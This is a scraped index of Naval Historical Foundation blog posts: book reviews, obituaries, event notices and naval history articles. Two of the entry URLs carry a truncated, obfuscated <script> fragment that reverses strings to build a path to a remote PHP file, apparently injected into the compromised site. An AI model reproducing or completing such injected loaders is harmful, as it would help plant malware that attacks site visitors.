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# Naval Historical Foundation

Preservation. Education. Commemoration.

## Posts

- [Blog](https://navyhistory.org/blog/) - The Naval Historical Foundation blog promotes the mission of NHF, and publishes stories about the US Navy Museum and other news from the naval history community
- [War Alert in the Tropical Dawn at Pearl](https://navyhistory.org/2022/12/war-alert-in-the-tropical-dawn-at-pearl-2/) - By Pam Ribbey, Opus (2022) Rebuttal Review By Capt. J.R. Reddig, USN (Ret.) I read a review of this book and wanted to respond. By way of background, I served in three wars in uniform. Three that were declared, anyway. Others were undeclared, like the war in the Navy about communications intelligence. The issues were
- [A History of the Naval Historical Foundation](https://navyhistory.org/2022/12/a-history-of-the-naval-historical-foundation/) - In the immediate aftermath of World War I, many Americans attributed the naval arms race between Great Britain and Germany as a factor leading to the cataclysmic conflict and had little appetite for further naval spending by the United States. Influenced by pacifist voices as well desiring to cut the budget, President Warren Harding invited
- [War Alert in the Tropical Dawn at Pearl](https://navyhistory.org/2022/12/war-alert-in-the-tropical-dawn-at-pearl/) - By Pam Ribbey, Washington, DC: Opus Self-Publishing, Politics and Prose Bookstore (2022) Reviewed by Charles C. Kolb, Ph.D. This self-published booklet is, in the main, a biography of Pam Ribbey’s grandfather, focuses on her own research and discussions with him on his is role before, during, and immediately after the attack on Pearl Harbor. Capt.
- [Two Observations on Devotion](https://navyhistory.org/2022/11/two-observations-on-devotion/) - By Staff Historian Dr. Dave Winkler It was an honor back in 2011 to meet Tom Hudner who toured the Cold War Gallery that the Naval Historical Foundation had raised funds for. Ten years earlier the NHF hosted a symposium about the Korean War to commemorate the fiftieth anniversary of the Korean War and the
- [Devotion – A Sony Pictures Movie](https://navyhistory.org/2022/11/devotion-a-sony-pictures-movie/) - By Sean Walsh Last week I was able to watch the new movie Devotion along with three other NHF members. The movie centers around the real-life friendship between Ens. Jesse L. Brown, the first African American naval aviator* and Lt. (JG) Thomas Hudner and is based on the book of the same name by Adam
- [“A Pitiful, Unholy Mess”: The History of Wheeler, Bellows, and Haleiwa Fields and the Attacks of 7 December 1941](https://navyhistory.org/2022/11/a-pitiful-unholy-mess-the-history-of-wheeler-bellows-and-haleiwa-fields-and-the-attacks-of-7-december-1941/) - By J. Michael Wenger, Robert J. Cressman, and John F. Di Virgilio, Naval Institute Press (2022) Reviewed by Charles C. Kolb, Ph.D. This is the fourth volume in the Pearl Harbor Tactical Series published by the Naval Institute Press, Annapolis, MD. The previous three volumes are No One Avoided Danger: NAS Kaneohe Bay and the
- [The Road to Pearl Harbor: Great Power War in Asia and the Pacific](https://navyhistory.org/2022/11/the-road-to-pearl-harbor-great-power-war-in-asia-and-the-pacific/) - John H. Maurer and Erik Goldstein (editors), Naval Institute Press, (2022). Reviewed by Charles C. Kolb, Ph.D. The editors are well-published senior scholars, well-equipped to undertake the organization and editing of this volume which focuses on the interwar years of two global conflicts. Professor John H. Maurer is the Alfred Thayer Mahan Professor of Sea
- [The Last Paladin](https://navyhistory.org/2022/11/the-last-paladin/) - By Capt. P.T. Deutermann USN (Ret.) St. Martins Press (2022) Reviewed by Capt. C. Herbert Gilliland, USN (Ret.) In his latest novel, P. T. Deutermann continues his successful mining of World War II themes. This time we follow the spectacular fortunes of USS Holland, a destroyer escort sent from convoy duty in the North Atlantic
- [Special Meeting of the Membership](https://navyhistory.org/2022/11/special-meeting-of-the-membership/) - Wednesday, December 7th @ 1:00 PM EST at the Museum Education Center of the National Museum of the United States Navy, Washington Navy Yard, DC 20374 Special Meeting of the Membership - Register Here
- [A Memorable Five Star Mess Night](https://navyhistory.org/2022/11/a-memorable-five-star-mess-night/) - With Covid restrictions finally lifted, the Naval Historical Foundation hosted its third annual Mess Night on Saturday, November 5 at the National Museum of the United States Navy. As with previous Five Star Mess Nights, the event was built around a theme and this year’s centennial of U.S. naval aircraft carriers provided the appropriate occasion
- [Norman's Corner: Speaking to Admiral Rickover](https://navyhistory.org/2022/09/speaking-to-admiral-rickover/) - By Norman Polmar (Editor’s note: This is the second in a series of blogs by Norman Polmar, author, analyst, and consultant in the naval, aviation, and intelligence fields. Follow the full series here.) Soon after I went to work for Navy Times in late 1959, the editor-in-chief, John Slinkman, came over to my desk and
- [First to Go: The History of the USMC Combat Correspondents Association](https://navyhistory.org/2022/11/first-to-go-the-history-of-the-usmc-combat-correspondents-association/) - Jack Paxton (Ed.), St Johann Press, Haworth, New Jersey, 2018. Reviewed by Chris Ketcherside First to Go is a collection of anecdotes from the USMC Combat Correspondents Association, with no specific author credited. It uses significant material from a previous publication, Last to Know, First to Go by Garry Cameron, the unofficial history of Marine
- [The First Cat Shot](https://navyhistory.org/2022/11/the-first-cat-shot/) - By David F. Winkler, Ph.D.Staff Historian Finally on the morning of Saturday November 18, Cdr. Kenneth Whiting, the executive officer of the USS Langley, climbed into the cockpit of a PT seaplane which was positioned on that trolley contraption connected to the end of the catapult that had been installed on the flying deck of
- [Carrier Killer: China's Anti-Ship Ballistic Missiles and Theater of Operations in the Early 21st Century](https://navyhistory.org/2022/11/carrier-killer-chinas-anti-ship-ballistic-missiles-and-theater-of-operations-in-the-early-21st-century/) - By Gerry Doyle and Blake Herzinger, Helion and Company (2022). Reviewed by Joseph F. Greco Much attention has been paid to the Chinese ASBM (Anti-Ship Ballistic Missile) program, a strategy that targets the U.S. Navy’s command over the East and South China Seas. As a consequence, the program brings into question the effectiveness of supercarriers
- [Celebrating the Centennial of Naval Carrier Aviation Five-Star Mess Night](https://navyhistory.org/2022/10/celebrating-the-centennial-of-naval-carrier-aviation-five-star-mess-night/) - Saturday, November 05 2022 6:00 PM - 9:30 PM [EST] Washington Navy Yard, DC, 736 Sicard St SE, Washington, DC, 20374, United States Register Saturday, November 05 2022 6:00 PM - 9:30 PM [EST] Washington Navy Yard, DC, 736 Sicard St SE, Washington, DC, 20374, United States
- [Reflections of a Career Surface Warfare Officer--Honoring the Greatest Generation](https://navyhistory.org/2022/10/honoring-the-greatest-generation/) - By Capt. James R. “Ros” Poplar, USN (Ret) As we approach Veteran’s Day many members of America’s Greatest Generation are no longer with us and in the not-too-distant future there will be none as 2025 will mark the 80th anniversary of the end of World War II. One of those silent warriors was my father
- [Langley Participated in First Navy Day](https://navyhistory.org/2022/10/langley-participated-in-first-navy-day/) - By David F. Winkler, Ph.D.Staff Historian Today marks the centennial of the first “Navy Day” existence. With the belief that a naval arms race had been a leading cause for World War I, general public sentiment supported President Warren G. Harding’s call in June 1921 to convene a Washington Naval Arms Conference. As documented in
- [The First Trap](https://navyhistory.org/2022/10/the-first-trap/) - By David F. Winkler, Ph.D.Staff Historian Just over a century ago, on October 26, Langley, departed from a York River anchorage at 7:15 a.m., and steamed into the Chesapeake Bay off the “Tail of the Shoe” shoal just inside Cape Henry. Having taken over as the officer of the deck for the 8 till noon
- [Soldier Parrott: The Incredible Story of America’s First Congressional Medal of Honor Recipient](https://navyhistory.org/2022/10/soldier-parrott-the-incredible-story-of-americas-first-congressional-medal-of-honor-recipient/) - By J. North Conway. The Rowman and Littlefield Publishing Group, 2021. Reviewed by Lt. Col. Stephen A. Tribble, Ph.D., U.S. Army The Congressional Medal of Honor (CMH), established in 1861, recognizes acts of valor by military members across the Joint Force and is coveted as the most prestigious United States (U.S.) military medal awarded. Soldier
- [West Point Admiral: Leadership Lessons From Four Decades of Military Service](https://navyhistory.org/2022/10/west-point-admiral-leadership-lessons-from-four-decades-of-military-service/) - By Michael W. Shelton, Morley, Missouri: Acclaim Press, (2022). Reviewed by John E. Fahey, Ph.D. Rear Admiral (ret) Michael W. Shelton took an unusual path to the Navy. In West Point Admiral: Leadership Lessons from Four Decades of Military Service he recounts his time at the United States Military Academy at West Point, and Seabee
- [Passing of VADM William H. Rowden, USN (Ret.)](https://navyhistory.org/2022/10/passing-of-vadm-william-h-rowden-usn-ret/) - By Rear Adm. Sam Cox USN (Ret.) With deep sadness the NHF reports the loss of another strong champion of naval history – Vice Adm.William H. Rowden, USN (Ret.) who passed on 15 October 2022 at age 92. Vice Adm. Rowden served as a Director on our Board of Directors for two decades from 1995
- [Unlike Anything that Ever Floated: The Monitor and Virginia and the Battle of Hampton Roads](https://navyhistory.org/2022/10/unlike-anything-that-ever-floated-the-monitor-and-virginia-and-the-battle-of-hampton-roads/) - By Dwight S. Hughes, Savas Beattie, Barnsley, El Dorado Hills, CA, (2021.) Reviewed by Capt. Richard Dick, USN (RET). Dwight Hughes’ Unlike Anything That Ever Floated is an excellent overview of the conception, hurried development, and brief (but spectacular) service of the ironclads Monitor and Virginia and the men who built, directed, commanded, and sailed in them. While not the definitive history of either ship, the book covers
- [To Provide And Maintain a Navy: 1775-1945](https://navyhistory.org/2022/10/to-provide-and-maintain-a-navy-1775-1945/) - By Richard L. Wright, Xlibris (2022) Reviewed By: Michael Romero, Colonial Williamsburg Foundation Following the end of the American Revolution, the fledgling United States immediately found itself in dire financial straits. With no funds available to maintain them, the handful of surviving Continental Navy vessels were sold, and the service disbanded. The ratification of the
- [The Darkest Hour, Volume 2: The Japanese Offensive in the Indian Ocean 1942 – The Attack against Ceylon and the Eastern Fleet](https://navyhistory.org/2022/10/the-darkest-hour-volume-2-the-japanese-offensive-in-the-indian-ocean-1942-the-attack-against-ceylon-and-the-eastern-fleet/) - By Michał A. Piegzik Reviewed by Charles C. Kolb, Ph.D. The initial volume in this two-part work, The Darkest Hour, Volume 1: The Japanese Naval Offensive in the Indian Ocean 1942 – The Opening Moves, was reviewed by me and published in Thursday Tidings on 1 September 2022: https://navyhistory.org/2022/08/the-darkest-hour-volume-1-the-japanese-naval-offensive-in-the-indian-ocean-1942-the-opening-moves/. The concluding volume became available on
- [A Century Ago -- The First Launch!](https://navyhistory.org/2022/10/a-century-ago-the-first-launch/) - By David F. Winkler, Ph.D. Staff Historian On October 17, 1922, America’s first carrier, USS Langley held a fixed position in the York River as preparations proceeded for a historic milestone. Naval Aviator No. 41, Lt. Virgil “Squash” Griffin, climbed into a cockpit of a VE-7SF biplane (BuNo. A-5932). As Griffin prepared for takeoff, winches
- [To the Uttermost Ends of the Earth, The Epic Hunt for the South’s Most Feared Ship<br>– and the Greatest Sea Battle of the Civil War](https://navyhistory.org/2022/10/to-the-uttermost-ends-of-the-earth-the-epic-hunt-for-the-souths-most-feared-ship-and-the-greatest-sea-battle-of-the-civil-war/) - By Phil Keith with Tom Clavin, Hanover Square Press [HarperCollins], (2022) Reviewed by John Grady “To the Uttermost Ends of the Earth” is one of the best works aimed at a general audience on the naval aspects of the Civil War. Phil Keith and Tom Clavin have brought back to life one of the most
- [Norman's Corner: Tom Clancy](https://navyhistory.org/2022/09/normans-corner-tom-clancy/) - By Norman Polmar (Editor’s note: This is the seventeenth in a series of blogs by Norman Polmar—author, analyst, and consultant specializing in the naval, aviation, and intelligence fields. Follow the full series here.) In July 1983 a friend asked my wife, Beverly, and me to attend a bar-b-q at his home. Among the few others
- [Mourning the Loss of Captain Paul X. Rinn USN (Ret.)](https://navyhistory.org/2022/08/mourning-the-loss-of-captain-paul-x-rinn-usn-ret/) - The Naval Historical Foundation mourns the loss of Capt. Paul X. Rinn, an individual who embraced history as Surface Warfare Officer, a factor that likely contributed to the survival of his ship – the guided missile frigate Samuel B. Roberts (FFG-58) – when she hit an Iranian-laid mine on April 14, 1988 in the Persian
- [Short Sunderland: the “Flying Porcupines” in the Second World War](https://navyhistory.org/2022/09/short-sunderland-the-flying-porcupines-in-the-second-world-war/) - By Andrew Hendrie; Pen and Sword, Barnsley, UK, (2022). (Reprint) Reviewed by Capt. Richard Dick, USN (Ret.) Andrew Hendrie’s Short Sunderland is a comprehensive operational portrait of the most famous British World War II maritime patrol aircraft. The author’s impressive research briefly covers the aircraft’s development, entry into service, production, and modification, and particularly its
- [When the Shooting Stopped: August 1945](https://navyhistory.org/2022/09/when-the-shooting-stopped-august-1945/) - By Barrett Tillman, Osprey (2022) Reviewed by: Capt. Chuck Good, USN (Ret.) Much ink has been spilled over the years on how wars begin, and almost as much on the treaties and negotiations which formally signal their end and dictate their terms. At Dawn We Slept and The Guns of August remain classics on how
- [The Darkest Hour, Volume 1: The Japanese Naval Offensive in the Indian Ocean 1942 – The Opening Moves](https://navyhistory.org/2022/08/the-darkest-hour-volume-1-the-japanese-naval-offensive-in-the-indian-ocean-1942-the-opening-moves/) - By Michał A. Piegzik Reviewed by Charles C. Kolb, Ph.D. Readers won’t confuse this book, just published in the Asia @ War Series No. 31 (Warwick, England: Hellion and Company Limited, 2022) with similar titles: The Darkest Hour by Caroline Tung Richmond (New York: Scholastic Press, 2016) is an espionage novel about women in World
- [The Partnership: George Marshall, Henry Stimson, and the Extraordinary Collaboration That Won World War II](https://navyhistory.org/2022/08/the-partnership-george-marshall-henry-stimson-and-the-extraordinary-collaboration-that-won-world-war-ii/) - By Edward Farley Aldrich, Guilford, CT: Stackpole Books, (2022). Reviewed by Ed Calouro When he first set out to write The Partnership: George Marshall, Henry Stimson, and the Extraordinary Collaboration That Won World War II, author Edward Farley Aldrich did not plan to write a dual biography. His original intention was to focus on the
- [Harwich Submarines in the Great War: The First Submarine Campaign of the Royal Navy in 1914](https://navyhistory.org/2022/08/harwich-submarines-in-the-great-war-the-first-submarine-campaign-of-the-royal-navy-in-1914/) - By Mark Harris; Helion, Warwick, UK, (2021). Reviewed By Capt. Richard Dick, USN (Ret.) Harwich Submarines in the Great War is the detailed story of the 1914 British overseas submarine campaign. “Detailed” really does not do the author justice. Mark Harris’s research is little short of astonishing. He has plumbed British, German, and French archives,
- [Blue Angels: Decades, 1946-1955. 1. Vol. 1. 8 vols.](https://navyhistory.org/2022/08/blue-angels-decades-1946-1955-1-vol-1-8-vols/) - By Matthew J Garretson, Friends of Naval Aviation, Pensacola, FL (2021). Reviewed by Ens. Sydney M. Willis, USN Blue Angels Decades Vol: 1 is a comprehensive history of the Blue Angels, the Navy’s Flight Demonstration Squadron, through the view of primary documents in their archives. The book transforms a collection of documents into a coherent
- [U.S. Navy Patrol Vessels: A History and Directory from World War I to Today](https://navyhistory.org/2022/08/u-s-navy-patrol-vessels-a-history-and-directory-from-world-war-i-to-today/) - By Ken W. Sayers, McFarland Publishing (2021). Reviewed by Jeff Schultz Ken Sayers’s U.S. Navy Patrol Vessels: A History and Directory from World War I to Today provides a thorough look at the multitude of patrol vessels from the mid-19th century USS Michigan to the modern Cyclone-class which have served the United States Navy in
- [Cats in the Navy](https://navyhistory.org/2022/08/cats-in-the-navy/) - Reviewed by Rear Admiral Sonny Masso USN (RET) and Mr. Apollo Cobbins As the Executive Director of the Naval Historical Foundation, I receive scores of wonderful books on a fairly frequent basis to send out to our team of volunteers to read and write book reviews for publication in our Thursday Tidings Naval Historical Foundation
- [Homecomings](https://navyhistory.org/2022/07/homecomings/) - Reviewed by Ens. Sydney M. Willis, USN Homecomings is a collection of photos of the Navy’s Flight Demonstration Squadron, the Blue Angels. This book is primarily comprised of photographs sprinkled with anecdotes, poems, and descriptions providing background for the photos. Laura Bogan is the officially licensed Navy photographer for the Blue Angels and their affiliated
- [NHF Mourns the Loss of the Honorable Steven S. Honigman](https://navyhistory.org/2022/08/nhf-mourns-the-loss-of-the-honorable-steven-s-honigman/) - Late last week we were saddened to learn of the passing of the Honorable Steve Honigman on July 26, 2022 in his sleep at Mt. Sinai in New York of stomach cancer. He was 74 years old. Mr. Honigman joined the NHF Board of Directors in 2012 and was a very active supporter of the
- [Naval Battles of the Second World War: The Atlantic and Mediterranean](https://navyhistory.org/2022/07/naval-battles-of-the-second-world-war-the-atlantic-and-mediterranean/) - Reviewed by Jeff Schultz Leo Marriott’s Naval Battles of the Second World War: The Atlantic and Mediterranean offers a brief glimpse of select naval engagements involving the Royal Navy engaged against their major European foes, the Italian and German fleets. Marriott is an established author with multiple books about a range of military, naval,
- [Leaders: Profiles in Courage and Bravery in War and Peace 1917-2020](https://navyhistory.org/2022/07/leaders-profiles-in-courage-and-bravery-in-war-and-peace-1917-2020/) - Reviewed by Lt Col Geoffrey R. Brasse, U.S. Air Force Authors frequently engage in military history storytelling through eloquent discussions about battles, outcomes, victories, and defeats. These stories often focus on the personalities of the military leaders, with few details about those participating in the conflict. Former foreign correspondent and corporate writer Robin Knight, in
- [Navy Photographer Tells the Story of Apollo 11 Recovery](https://navyhistory.org/2012/02/navy-photographer-apollo-11/) - A banging on my door at NAS Imperial Beach shook me out of a deep sleep at 4AM. "Is your bag packed? We're leaving for the Apollo 11 recovery this morning."
- [57 Years Ago Today: Captain Wally Schirra's 6 Consecutive Orbits Over Planet Earth](https://navyhistory.org/2019/10/captain-wally-schirra-6-consecutive-orbits/) - By NHF Executive Director, Rear Admiral Edward "Sonny" Masso From an early age, I was fascinated by the National Aeronautics and Space Administration (NASA) programs of Mercury, Gemini, and Apollo. I was obsessed with any and all news relating to the X-15, the breaking of the sound barrier, new altitude records, and jet propulsion in
- [2022 Knox Medal Presentation -- Save the Date](https://navyhistory.org/2022/07/2022-knox-medal-presentation-save-the-date/) - The Commodore Dudley Knox Medal Presentation Luncheon at the Army Navy Country Club (Arlington, VA) on Thursday, 25 August 2022. We will be honoring historians Donald Bittner and Norman Friedman! Details to follow!
- [Escape from Java: The Extraordinary World War II Story of the USS Marblehead](https://navyhistory.org/2022/07/escape-from-java-the-extraordinary-world-war-ii-story-of-the-uss-marblehead/) - Reviewed by Jeff Schultz John J. Domagalski’s Escape from Java: The Extraordinary World War II Story of the USS Marblehead delves into the gut-wrenching experiences of an aging light cruiser caught up in the early Pacific War as part of the US Asiatic Fleet. Almost lost to enemy air attack and badly damaged during the
- [The Netherlands East Indies Campaign 1941-42: Japan’s Quest for Oil](https://navyhistory.org/2022/07/the-netherlands-east-indies-campaign-1941-42-japans-quest-for-oil/) - Reviewed by Jeff Schultz Marc Lohnstein’s The Netherlands East Indies Campaign 1941-42: Japan’s Quest for Oil covers a typically unheeded early Pacific campaign, fought for the resource rich Dutch East Indies, which showcased a dysfunctional Allied coalition effort conducted under fraught circumstances exacerbated by prewar decisions but which fought desperately until overwhelmed. Lohnstein is
- [Remembering Ray Godfrey (1939-2021): Big E Plankowner and NHF Curator](https://navyhistory.org/2021/02/remembering-ray-godfrey/) - Four years ago this week, USS Enterprise (CVN-65) was decommissioned at Newport News Shipbuilding’s Virginia shipyard. Her unprecedented (for an aircraft carrier) 51 years of active operations included defending America’s interests around the globe during a total of 25 deployments. That shipyard decommissioning ceremony in February 2017 was a celebratory but somber occasion, with just
- [About Those Colliers](https://navyhistory.org/2021/03/about-those-colliers/) - By Dr. David WinklerIn the pecking order of naval vessels, replenishment ships ranked far below battleships, cruisers, and other combatants. However, it can be argued that few pairs of American warships authorized by Congress achieved as much historical notoriety as these two hulls authorized in 1908. As part of Special Order 92, signed out on
- [Chief Yeoman (F) Loretta P. Walsh: The First Navy Female Chief Petty Officer](https://navyhistory.org/2021/03/chief-yeoman-f-loretta-p-walsh-the-first-navy-female-chief-petty-officer/) - By James L. Leuci, MCPO, USN (Ret.) On 24 October 1937, over 2,000 people assembled to witness the dedication of a monument to the first woman enrolled in the United States Naval Reserve Force. Many of the people attending the memorial service were female Navy veterans of World War I--Yeoman (F) Sailors. Twenty years earlier,
- [Mail Call: Reflections on Publishing my Father’s WWII Letters Home](https://navyhistory.org/2021/03/mail-call-reflections-on-publishing-my-fathers-wwii-letters-home/) - By Carol Mauer Butler “When I get a letter, my heart takes a very skip and then starts thumping. After you’re finished reading the letter you feel good. You’re at peace with world. You like it and it likes you.” These were the sentiments a WWII navy man expressed in a letter to his mother. Over
- [Voices of Vietnam: An Oral History Project Conducted by Midshipman of the Classes of 2020, 2021, and 2022](https://navyhistory.org/2021/04/voices-of-vietnam/) - Voices of Vietnam, a publication that was the final product of an oral history class led by NHF’s staff historian and 2019-2020 Class of 1957 Chair of Naval Heritage Dr. Dave Winkler, has been printed for limited distribution to the midshipmen who participated in the project, Class of 1957 participants in the project, and to
- [Father of Carrier Aviation Experienced Baptism of Fire During Spanish-American War](https://navyhistory.org/2021/04/father-of-carrier-aviation-experienced-baptism-of-fire-during-spanish-american-war/) - By Staff Historian David F. Winkler, Ph.D. A native of Illinois and graduate of the Naval Academy in the Class of 1894 where he played football and is credited with being the first to wear head protective gear after being warned about consequences of further blows to the cranium, Joseph Mason Reeves was assigned to
- [Future Wars in Fiction](https://navyhistory.org/2021/05/future-wars-in-fiction/) - By Lt. Cdr. Sean Walsh, USN (Ret.) 2034: A Novel of the Next World War by Admiral James Stavridis and Elliot Ackerman is the latest in a genre that stretches back more than a century and perhaps as far back as Homer’s Iliad as has been suggested by Mills and Heck in a 2020 essay on the Modern War Institute
- [U-505 Captain Axel Lowe and Major Lenox Lohr of the Museum of Science and Industry](https://navyhistory.org/2021/06/u-505-captain-axel-lowe-and-major-lenox-lohr/) - By Tyler Robinson Though I never had the privilege of meeting my great-grandfather, I grew up with stories of Major Lenox R. Lohr's exploits as a soldier in the First World War and a manager of the Chicago World's Fair, but most especially as the President of the Museum of Science and Industry. It was
- [In Memory of Jim Hornfischer / Colleagues remember Jim Hornfischer](https://navyhistory.org/2021/06/in-memory-of-jim-hornfischer-colleagues-remember-jim-hornfischer/) - In Memory of Jim Hornfischer By David A. Rosenberg, NHF Board Member Naval history and the United States Navy lost a great friend and accomplished practitioner of the historian’s craft on 1 June when James D. Hornfischer lost a hard-fought, year-long battle and succumbed to brain cancer surrounded by his family at his home in
- [NHF Mourns the Loss of Former President Rear Adm. John T. Mitchell (December 7. 1941 - June 1, 2021)](https://navyhistory.org/2021/06/nhf-mourns-the-loss-of-former-president-rear-adm-john-t-mitchell-december-7-1941-june-1-2021/) - "It is with great sadness that I report another loss in our NHF family—former NHF president Rear Admiral John T. Mitchell who joined our board in 2010 and relieved VADM Bob Dunn as president in 2012, serving in the post for four years. A graduate of the Rice University NROTC program, Mitchell had a successful career as an
- [NAMA Conversations with Classmates: USNA 1968](https://navyhistory.org/2021/06/nama/) - On June 9th the Naval Academy Minority Association (NAMA) hosted a special event over Zoom with several distinguished members of the Class of 1968, the first in what they hope will become a series of talks between former Naval Academy classmates. The USNA Class of 1968 were trailblazers during a time of strife, as Malcom
- [John Warner: A Final Tribute](https://navyhistory.org/2021/06/a-final-tribute/) - By David F. Winkler, Ph.D. Yesterday was a glorious Summer day with blue skies framing the majestic towers of the National Cathedral as national and Virginia state leaders as well as family and friends gathered to pay final respects to the second longest serving Senator in Virginia's history. President Joseph Biden, Admiral Michael Mullen, and Virginia's
- [Signatory Sailors: Proponents of the Continental Navy and the Declaration of Independence](https://navyhistory.org/2021/07/signatory-sailors-proponents-of-the-continental-navy-and-the-declaration-of-independence/) - John Adams of Massachusetts was the greatest champion of the Continental Navy amongst the Congressional delegates, and as such is one of three individuals commonly considered to be a Father of the U.S. Navy, along with the privateering Captain John Paul Jones and Commodore John Barry. He was one of the initial three members of the
- [Use of the Jolly Roger by the British and US Navies](https://navyhistory.org/2021/07/use-of-the-jolly-roger/) - By Chris Martin Submarines are “damned un-English.” On 8 October 1900 the Royal Navy agreed to order five Holland-class submarines from the Electric Boat Company owned by American businessman Isaac Rice. Electric Boat negotiated the contract with the Royal Navy and subcontracted their construction out to Crescent Shipyard in Elizabeth, NJ.[1] The Third Sea Lord, Rear
- [Pirate Killers: The Royal Navy and the African Pirates ](https://navyhistory.org/2022/06/pirate-killers-the-royal-navy-and-the-african-pirates/) - Reviewed by CAPT Richard Dick, USN (Ret.). Graham A. Thomas is a historian, biographer, journalist, and theatrical producer. He has written for the UK Ministry of Defence and has been editor of the British Army Review, the army’s official academic journal. He specializes in the history of the British Army and Royal Air Force in
- [World War II-Era Bottles Donated to the Naval History and Heritage Command](https://navyhistory.org/2014/06/world-war-ii-era-bottles-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/r/) - On Wednesday, The Naval Historical Foundation donated two World War II-era beer bottles to the Curatorial Branch of the Collections and Management Division at the Naval History and Heritage Command.
- [Vietnam 1972: Quang Tri – The Easter Offensive Strikes the South](https://navyhistory.org/2022/06/vietnam-1972-quang-tri-the-easter-offensive-strikes-the-south/) - Reviewed by Jeff Schultz Charles Melson’s Vietnam 1972: Quang Tri – The Easter Offensive Strikes the South provides a concise look at the role played by the South Vietnamese Marine Corps (VNMC) and their US Marine Corps (USMC) advisors during Hanoi’s 1972 Easter Offensive. The South Vietnamese defenders, in particular the VNMC, alongside American air
- [Game Review: The Shores of Tripoli](https://navyhistory.org/2021/03/game-review-the-shores-of-tripoli/) - Reviewed by Tyler Robinson "In the whole range of human activities, war most closely resembles a game of cards."-Carl Von Clausewitz, On War The Shores of Tripoli was named one of the best two-player games of 2020 by New York magazine, and it has recently been favorably reviewed on the website of the Center for
- [Landing Craft & Amphibians: Seaborne Vessels in the 20th Century](https://navyhistory.org/2022/06/landing-craft-amphibians-seaborne-vessels-in-the-20th-century/) - Reviewed by Jeff Schultz Ben Skipper’s Landing Craft & Amphibians: Seaborne Vessels in the 20th Century briefly delves into the interesting world of landing craft and amphibians involved in various conflicts in the 20th century from World War II to the present. While it is not authoritative, it does detail many such craft with useful
- [2022 NHF Annual Meeting Read-Ahead Materials](https://navyhistory.org/2022/06/2022-nhf-annual-meeting-read-ahead-materials/) - Dear Naval Historical Foundation Board Members: Attached you will find a series of documents to be reviewed prior to our Board Meeting on Saturday, 11 June 20122. We look forward to seeing you virtually and briefing you on the latest developments. You can find information about the Annual Meeting and Leighton Lecture, and how to
- [Navy Museum Opens New Exhibit On Future Museum](https://navyhistory.org/2021/07/navy-museum-opens-new-exhibit-on-future-museum/) - On Tuesday July 27, Navy and nonprofit leaders cut the ribbon for a new exhibit at the Navy Museum in the Washington Navy Yard. The exhibit showcases the vision for a future National Museum of the U.S. Navy campus just outside the Navy Yard on M Street, accessible to the public. The Director of the Navy
- [Innovating Victory: Naval Technology in Three Wars ](https://navyhistory.org/2022/05/innovating-victory-naval-technology-in-three-wars/) - Reviewed by Charles C. Kolb, Ph.D. Vincent P. O'Hara is an independent naval historian and the author of thirteen works, including Six Victories: North Africa, Malta, and the Mediterranean Convoy War, November 1941-March 1942 (Annapolis: Naval Institute Press, 2019) and with Leonard R. Heinz, Clash of Fleets: Naval Battles of the Great War, 1914-18 (Annapolis: Naval
- [Parker Hitt: The Father of American Military Cryptology](https://navyhistory.org/2022/05/parker-hitt-the-father-of-american-military-cryptology/) - Reviewed by Charles C. Kolb, Ph.D. Mrs. Smoot is an intelligence historian who is especially interested in 20th-century cryptology and communication and has published in Cryptologia, Federal History Journal, and Intelligence and National Security; she retired from the Center for Cryptologic History (CCH) of the National Security Agency in 2017. She is also the
- [BOOK REVIEW - Joe Rochefort's War: The Odyssey of the Codebreaker Who Outwitted Yamamoto at Midway](https://navyhistory.org/2012/10/book-review-joe-rocheforts-war/) - Joe Rochefort is a legend to all United States Navy intelligence professionals and Elliot Carlson’s outstanding biography finally introduces the man behind the legend
- [BOOK REVIEW - Midway: The Battle That Doomed Japan, the Japanese Navy’s Story](https://navyhistory.org/2012/12/book-review-midway-battle-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - Still an important source and provides a unique view of the decisions that influenced the outcome of the battle. But, it must be balanced against, and augmented by, the scholarship of the Japanese and the recent work of John Lundstrom and Craig Symonds.
- [Stanley Johnston's Blunder: The Reporter Who Spilled the Secret Behind the U.S. Navy's Victory at Midway](https://navyhistory.org/2020/10/stanley-johnston-midway/) - Elliot Carlson, Stanley Johnston’s Blunder. Naval Institute Press, 2017.Xiv, 312 pages. Reviewed by Paul W. Murphey, Ph.D., CDR, CHC, USN (Ret). Purchase your copy today! https://amzn.to/30JwiWn
- [Conquering the Ocean: The Roman Invasion of Britain](https://navyhistory.org/2022/05/conquering-the-ocean-the-roman-invasion-of-britain/) - Reviewed by Capt. Richard Dick, USN (Ret.) Dr. Richard Hingley’s new book provides a fresh assessment of the Roman conquest of Britain from Julius Caesar’s first raid in 55 B.C. through the building of Hadrian’s Wall (roughly along the current border between England and Scotland) to about 130 A.D. Hingley also adds a higher-level overview
- [We Are Not Hearing About Any Fiftieth Anniversary IncSea Celebrations – and Why That May Not be a Bad Thing](https://navyhistory.org/2022/05/we-are-not-hearing-about-any-fiftieth-anniversary-incsea-celebrations-and-why-that-may-not-be-a-bad-thing/) - By David F. Winkler, Ph.D. Staff Historian Ten years ago, delegations from the U.S. and Russian Federations met at the Naval Observatory to commemorate the 40th anniversary of the signing of the Incidents at Sea Agreement (IncSea) on May 25, 1972, as part of the Nixon- Brezhnev Summit held in Moscow. After a historical overview
- [Trust Began with a Lie](https://navyhistory.org/2016/05/trust-began-with-a-lie/) - Last Friday's SU-27 barrel roll of USAF RC-135 and earlier buzzings of USN Destroyer are rare hiccups in 44 year INCSEA accord.
- [The Nugget](https://navyhistory.org/2022/05/the-nugget/) - Reviewed by Capt. C. Herbert Gilliland Jr., USN (Ret.) Waking from a drunken evening, newly minted dive-bomber pilot Robert Steele finds himself in Pearl Harbor aboard the battleship Oklahoma. From that ominous moment, almost as though he wanted to cover the entire Pacific war in this single book, retired Navy Captain Deutermann shows us life
- [Joseph Degman of the USS Nautilus and Lenox Lohr of the Chicago Museum of Science and Industry](https://navyhistory.org/2021/08/joseph-degman-of-the-uss-nautilus/) - USS NAUTILUS (SSN 571)Fleet Post OfficeNew York, New York 3 AUGUST 1958 Director Museum of Science and IndustryJackson ParkChicago Illinois Joseph E. Degman EM1 (SS)USS NAUTILUS SSN 571F.P.C. New York N.Y. Dear Sir, As a native of Chicago and a frequent visitor of the Museum I feel obligated to send you one of the first
